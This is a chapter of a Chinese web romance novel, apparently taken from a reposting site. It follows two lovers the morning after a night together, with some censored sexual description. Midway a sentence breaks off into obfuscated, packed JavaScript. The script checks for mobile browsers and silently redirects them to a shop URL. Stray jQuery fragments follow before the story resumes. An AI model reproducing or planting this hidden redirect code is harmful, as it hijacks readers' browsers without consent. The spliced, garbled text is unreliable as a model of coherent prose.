69. 069
作品:《老师,你也不想任务失败吧》 洁净过身体,濮怀玉走出浴室。
整个大平层内暖气充足,她踩在柔软的地毯上依稀滴落水珠,不像处在寒冬,倒像置身于永恒温暖的春日。
既然“隗老师”不存在,那么隗祯这辈子受过的最大的挫折是什么,第一次告罄时因为时长短暂刺激出来的羞耻?
这样想的话,还真是颇有情调啊。
验过身,确实是处男。考虑到现在已经是后半夜,早|泄的可能已被濮怀玉排除。他确实是个值得玩一玩的老东西,也是大家伙。
从遍地狼藉的主卧转移到次卧,她沉默地套上床头准备好的睡衣,留了一盏光线并不强烈的壁灯便钻进被窝。
安歇片刻,脚步声由远及近。隗祯随后走进,轻轻带上门。
濮怀玉似乎能从每一点轻微的噪声听出他的小心,随后是渐渐贴近脸颊的吐息。
她偏过头,双目倦怠地微微睁开,视线的端点像在半空定格的羽毛,仿佛轨迹再如何飘忽不定,都不会落在男人那张属于欺骗者的脸上。
隗祯过去抗拒的亲密接触,如今已然跨过午夜十二点,百无禁忌地从前一日的末尾蔓延到这一日的伊始。如此紧拥,如此水|□□融,亲吻却变成了新的禁忌,哪怕是落在脸颊上的虔诚之吻。
她依旧厌烦着他,发自心底觉得过往和现在应该有个区别,而现在的他不配拥有。
不仅如此,原先沉浸其中、眼神渐渐朦胧的濮怀玉,像是忽然被尖刀挑起情绪一角,变的富有攻击性起来。
她掐了他,说你成功骗过了我,是不是觉得很得意,而他觉得抱歉。
“只有抱歉……小玉。只有抱歉。”
以及,“无论如何都想再见到她”。
如今,一切尘埃落定,隗祯手撑在枕头旁,随后俯身,轻轻地蹭了蹭她的脸颊,像只无怨无悔的猫。
他刚洗过澡,浑身都是热的,而濮怀玉的颊已经染上冷意。完成好这一动作,濮怀玉依旧没有看他,似乎温情只会出现在事前与事中,荷尔蒙恣意挥洒后的冷静期甚至会让她更加冷漠,对两个人不那么健康明朗的关系没有任何想要改进的打算。
濮怀玉侧过身背对他,隗祯在她身后整理好被子一角,挨着她躺下,随后又有些不满足地揽住她的腰。
一小截脖颈露出,太阳不容易晒到的地方依旧均匀地抹开健康的小麦色。她的肤色比隗祯要深一点,所以——天知道当他在床上发现这一点的时候有多兴奋。
“刚才一起泡在水里很温暖。”他在她耳边轻轻念叨,细语拂过,“你不是说过我很干净,身上没擦香水也会有香味吗?也不多留一会儿,那么早就要走了。我们明明可以一起多泡一会儿的。”
濮怀玉没有把他的手拿走,她现在暂时睡不太着,却也没有给予aftercare的温柔,哪怕曾经很擅长出于爱意面对面地闲话,“体|液有腥味。我讨厌石楠花。”
隗祯却轻而易举想到了濮怀玉的所想,甚至将和她有共鸣的记忆裁出来告诉她:“念高中的时候,学校里有一条路上栽了石楠花。”
“我从来不会走那条路,但也听说过男生躲在树后对女同学挤眉弄眼起哄的传闻。非常低劣的性|暗示。”
当时的隗祯并没有主持公道的打算,他念的国际学校对学生本人和家庭背景的考核都很严苛,容不下任何一个在两方面有瑕疵的年轻人,因此隗祯虽然厌烦,但从来都不觉得自己有为这所学校里的谁出头的必要。他只是告诫自己,不要成为这种低级恶趣味的人。
隗祯忍不住想,如果濮怀玉也在那里念书,她肯定会特意路过那棵石楠花。她向来算得很清楚,石楠花再讨厌也只是植物,用石楠花气味戏弄女生的男同学更可厌。
或许会反过来,一个人狂追几个男生大半个校区呢。濮怀玉完全做得出来。她会是学校里的风云人物,就跟在一中的时候一样。
“他们肯定没受到惩罚。”
“是,连批评教育都没有。学校里的老师虽然履历优秀,但他们不能管,也不敢管,无论家长有多么明事理。”
隗祯开始不住地摸索她脖颈处那存有些敏|感的皮肤,被她拨了一下手,便也顺从地作罢,“这几个人如今不太成器,有家人的荫蔽还是一事无成,不过有些唬人用的头衔镀金,拿来享乐是足够的。”
“小玉,这些金玉其外的人,没一个能和你相提并论。”
濮怀玉对这句话是受用的,她知道自己有多聪明,也知道自己的品性绝对比这群虚伪愚蠢、酒囊饭袋的家伙优越。
是啊,这是个不平等的世界,所以他们才会觉得拥有财富就是拥有一切,不思进取地卑劣着,她才能俯视他们。
“别给我贴金了。”
只是这话由隗祯说出,多少冲散她心里那点隐秘的傲慢。
“我没有。我在跟你聊现实,小玉。”他将手腕递到濮怀玉鼻尖,“是不是有香味?我真的不脏,我只是喜欢‘品尝’而已。”
又开始了。别有用心的诱惑。
他曾经有多清纯,如今就有多放|荡。
一个有洁癖的人不顾交融的汗液和其他分泌物伸出舌头,不厌其烦地跪拜服侍。不管隗祯真实的癖好是什么,他表现得狂热异常,不断给濮怀玉的好胃口提供食物。
她很久没有过持久的血脉偾张,简晟跟隗祯相比简直就是一朵没有香气的花,那朵花比这朵逊色太多。
“你买了什么时候的车票?”隗祯从她的默然中感受到因为被挑动露出的缝隙,有风从里面钻出,是濮怀玉温热的吐息——他已然支起一点上半身,垂眸温柔地看着她。
“小玉,我的意思是,既然学校已经空了,你也没有非留在那里的理由,在这里安逸地待上几日不好吗?去你打工的地方也方便。”
他将指腹悄悄放在濮怀玉的眼睫毛下,扫动时引起痒意,像在小声答应着她,“过几天你要回隋城,我让司机送你去车站,你能省钱,我也放心。”
她不需要打工。濮怀玉拿走他的手:“还没买。你不要替我做决定,我要睡了。”
绕开仅出于生理原因的吸引力,她依旧不想和隗祯过多谈论自己的现状和打算。她对他抱有深重的戒心,且不是一星半点。
……她并不乐意。
隗祯只能慢慢躺回去,变回那个在濮怀玉身后祈求着什么的姿势,听着她淡淡的鼾声入睡。
第二天,濮怀玉醒来时查看时间——竟然已经十一点了。虽说他们闹腾得很晚,但一口气睡到这个点,濮怀玉此前没有过。
一个本该勾起无限梦境的男人睡在旁边,她却很惬意地一夜无梦。现在,他已经不在这里了。
大约是隗祯家的窗帘很能隔光的缘故,如果不是在手机上看过时间,她都不知道已经到中午了。
起身时牵动隐秘地方,清凉的触感是刚上不久的膏药安抚肌理,濮怀玉低头隔着裤子看了一会儿,突然觉得相当荒谬。
不愿意说话,不愿意亲吻,其他倒是什么都做了。
一套眼生的衣服放在床边,摸起来质地相当柔顺,不用很重地一件接着一件裹在身上,已然很温暖。濮怀玉穿上驼色薄毛衣和米白色长裤,弯腰看时怎么也辨认不出品牌。
奇怪的是,不管有没有正式恋爱,和濮怀玉在情感上打过交道的男性总会第一时间给她置办一套价值不菲的衣服,各式各样的餐厅穿插期间,就好像她此前的生活缺衣少食。
已经做好了到处闲逛的准备,隗祯却穿着家居服、戴着眼镜出现在餐桌旁。
“睡得怎么样?洗漱好先来吃饭吧。”
濮怀玉趿拉着拖鞋往卫生间走,眼神却钉在他身上,带着警觉意味,“你不去上班?”
“我允许我自己居家办公。”
他带着笑意绕行到濮怀玉面前,像从前她喜欢做的那样捏捏她的脸颊——看起来很冷酷的小玉同学,脸颊肉摸起来还挺有份量感的,是有福气的孩子。
力道比当初的濮怀玉轻柔太多,再加上刚睡醒的微醺,她没能第一时间拍走。
眼前的男人捏完,露出满意的神色:“公司少我一天不会垮,何况我刚刚才做完工作。”
“午饭有糖醋小排,辣椒炒鸡腿肉,西兰花虾仁蒸蛋和一些煎的口蘑和芦笋,汤是放了花胶的老鸭汤,饭后甜点有松饼和红糖麻薯可以选。”
濮怀玉一听,又快又细致地解决了洗漱工作,在餐桌旁坐好。
隗祯给她盛饭:“红糖麻薯是阿姨做的,她来的时候你还在睡觉,我向她介绍了你。阿姨说,女孩子在冬天会更喜欢这种带点养生功效的热点心。”
濮怀玉轻描淡写接过饭碗,呛他两句,“阿姨年纪大,应该接受不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880595|185205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了我们这种乱七八糟的关系。你有让她看到垃圾桶里的套吗?”
保险套和指套用了很多。可以说隗祯保守主义地准备了多少,最终就用了多少。
——如此上不得台面、如此泛滥成灾的情|欲啊。
就这样,濮怀玉暗暗观察隗祯的表情。
男人神情微滞。
随后,隗祯很不高明地岔开话题:“下午我的特助会来一趟,你想好订哪一天的票了吗?”
“今晚或者明天的火车票。”
他维持着笑容,只是掺入为难:“这段时间的票很不好订,可能得过两天。”
真的假的。“哦。那就两天以后吧。”
午饭很美味,濮怀玉吃了很多,等到不加选择地享用完放着无花果、树莓和黑莓的烤松饼,还有温热暖胃的红糖麻薯,她已然有点撑得慌。
楼下有花园和健身房,濮怀玉愿意的话还可以在楼顶的恒温游泳池里消磨时间,但她最后只是在封闭的空间内走来走去。
如此宽敞,已经够她活动了。
最重要的是,隗祯要回书房办公,眼不见心不烦。不过在那之前,他把休闲室里的荧幕调试好,放上点心和茶水,濮怀玉愿意的话可以在里面待一个下午。
当然,隗祯会及时叫她出来走走的。他在娱乐成瘾性方面有很多研究,到今天仍会阅读心理学方面的理论作品,毕竟养孩子是一辈子的事。
最终,濮怀玉没有看电影,她只是懒惰地窝在休闲室的沙发上,吃隗祯准备好的零食,像一只半融化的黄油土豆那样挨个回消息。
她在隗祯的家,除了好吃懒做,似乎也没有别的什么可以追求。
哦,还有偷窥。濮怀玉留了一道缝,因此可以听到客厅里的声音,将隗祯口中那个悬浮都市剧里才会出现的词语和真实的本人对上。
隗祯似有所感看过来,濮怀玉立马压死最后一点缝隙,发出的声音将徐特助的视线吸引过去。
还真是特助。
“她比较注重私人空间。……”
老板竟然有女朋友了。徐特助在心里为自己默哀,以后他要领着给一个人打工的工资,干着服务两个人的活了。
但他表演出惊喜的模样,并且提出广大打工人最关心的话题:“您跟那位女士结婚,我们会有喜糖吃吗?还有吃喜糖的时间。”
潜台词是假期。假期最重要。
只是不知为何,老板看起来鬼鬼祟祟的,好像这是个不能碰的话题。“会有的。应该最少能放半天假吧,大家平时都辛苦了。”
看来是离拿到名分还有段距离,不然也不会被扇了。
徐特助自己也是男人,知道男人这个种群是什么德性,临别前忍不住冲自己的顶头上司多嘴了一句:“隗先生,恕我直言,情感关系并不低人一等,您至少得用对待工作的态度对待那位女士,让她感受到您的重视,这样好歹不会……飞来横祸。”
他说的很含蓄,其实就是那个让人瞠目结舌的巴掌。说不是隗祯的情债,徐特助不信。
“我知道。你先走吧。”
隗祯知道如今公司内部的论坛上是如何议论他的,过程虽有不同,比起灰姑娘的故事更染上几分科幻色彩,但他认同他们讨论出来的结果——即便不愿意,他在客观上还是做了甩手不负责任的混蛋。
其实见到濮怀玉的那一刻,隗祯觉得她更像时时刻刻都能光芒万丈的王子,自己才是那个过了午夜十二点就会魔法失效的灰姑娘。
不过这个王子偏好精神世界丰富,物质生活朴素的类型。和她以及她提出的标准相比,自己全都反着来。
徐特助带着新吃到的瓜准备回公司,隗祯则走到休息室门前,唤着“小玉”轻轻敲门。
门开启,濮怀玉好像什么都没听到似的,左手撑在门框上,右手玩抓大鹅:“怎么了?”
“……两天后的火车票没有了。”
飞机票买得到,比平常稍微贵点,但隗祯知道她不会要。
“我和特助刚才确定过了,的确没有。”隗祯温声道,“抱歉让你难做。……五天后,五天以后可以吗?”
“随便你,反正我才是求人办事的那个。”濮怀玉给他一个无所谓的表情,“你还有别的要说吗?”
于是,隗祯小心发出邀请:“今天晚上,我们一起看电影吧。”

